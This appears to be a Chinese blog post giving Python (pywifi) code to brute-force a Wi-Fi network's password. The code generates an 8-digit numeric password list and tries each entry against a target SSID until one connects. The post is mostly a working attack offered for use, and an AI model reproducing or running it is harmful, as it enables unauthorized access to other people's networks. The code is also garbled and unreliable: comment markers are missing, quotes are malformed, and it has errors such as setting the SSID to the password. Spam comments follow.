• 欢迎访问本站网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏吧

使用python暴力破解Wi-Fi密码

Python admin 9个月前 (10-18) 355次浏览 已收录 2个评论 扫描二维码
判断是否连接到wifi

#coding:utf-8
import pywifi
from pywifi import const

#判断是否连接到wifi
def gic():
创建一个无线对象
    wifi = pywifi.PyWiFi()
获取网卡
    ifaces = wifi.interfaces()[0]
查看无线网卡名称
    #print(ifaces.name())
    # 查看网卡状态  0没有连接到wifi
    #print(ifaces.status())
    if ifaces.status() == const.IFACE_DISCONNECTED:
print(“WiFi未连接)
else:
print(“WiFi已连接)
gic()

扫描附近WiFi
#扫描附近的wifi#coding:utf-8def bies():
创建一个无线对象
    wifi = pywifi.PyWiFi()
获取网卡
    ifaces = wifi.interfaces()[0]
扫描附近的wifi
    ifaces.scan()
bessis = ifaces.scan_results()
#print(bessis)
    for wifi in bessis:
#wifi的名字
        print(wifi.ssid)
bies()

生成密码字典
#coding:utf-8
#生成全部的8位数字密码
f = open(‘wifipass.txt’,‘w’)
for id in range(99999999):
password = str(id).zfill(8)+\n
    f.write(password)
f.close()

最终wifi暴力破解代码:

#coding:utf-8
”’
1,导入模块
2,抓取第一个网卡接口
3,断开wifi
4,从密码本上读取密码
5,设置睡眠时间  3秒左右
”’
”’
#生成全部的六位数字密码
f = open(‘wifipass.txt’,’w’)
for id in range(1000000):
    password = str(id).zfill(9)+’\n
    f.write(password)
f.close()
”’
import pywifi
from pywifi import const
import time

#ssid名称  WiFi密码
def wificonnect(wifiname,wifipwd):
”’wifi的测试连接”’
    创建一个无线对象
    wifi = pywifi.PyWiFi()
获取网卡
    ifaces = wifi.interfaces()[0]
断开wifi连接
    ifaces.disconnect()
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
创建wifi的连接文件
        profile =pywifi.Profile()
# WiFi名称
        profile.ssid = wifipwd
密码
        profile.key = wifipwd
加密算法
        profile.akm.append(const.AKM_TYPE_WPA2)
网卡
        profile.auth = const.AUTH_ALG_OPEN
加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
删除所有的wifi文件
        ifaces.remove_all_network_profiles()
#设置新的连接文件
        temp_profile = ifaces.add_network_profile(profile)
连接wifi
        ifaces.connect(temp_profile)
根据电脑来设置连接时间  秒
        time.sleep(8)
if ifaces.status() == const.IFACE_CONNECTED:
return True
        else:
return False

def read_pwd():
”’读取密码本传密码”’
    print(开始破解………..”)
path = ‘D:\python\练习\零基础python\wifipass.txt’
    file = open(path,‘r’)

while True:
try:
wifipwd = file.readline()            # wifi名称是iphone 根据实际情况修改
bool = wificonnect(‘iPhone’,wifipwd)
if bool:
print(密码正确+wifipwd)
break   #只退出一层循环
            else:
print(密码错误+wifipwd)
except:
continue
    file.close()

read_pwd()


本站的文章和资源来自互联网或者站长的原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:使用python暴力破解Wi-Fi密码
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(2)个小伙伴在吐槽
  1. Howdy this is kind of of off topic but I was wondering if blogs use WYSIWYG editors or if you have to manually code with HTML. I'm starting a blog soon but have no coding skills so I wanted to get guidance from someone with experience. Any help would be enormously appreciated!
  2. Hmm is anyone else having problems with the images on this blog loading? I'm trying to find out if its a problem on my end or if it's the blog. Any responses would be greatly appreciated.
    CBD store2021-02-23 00:08 回复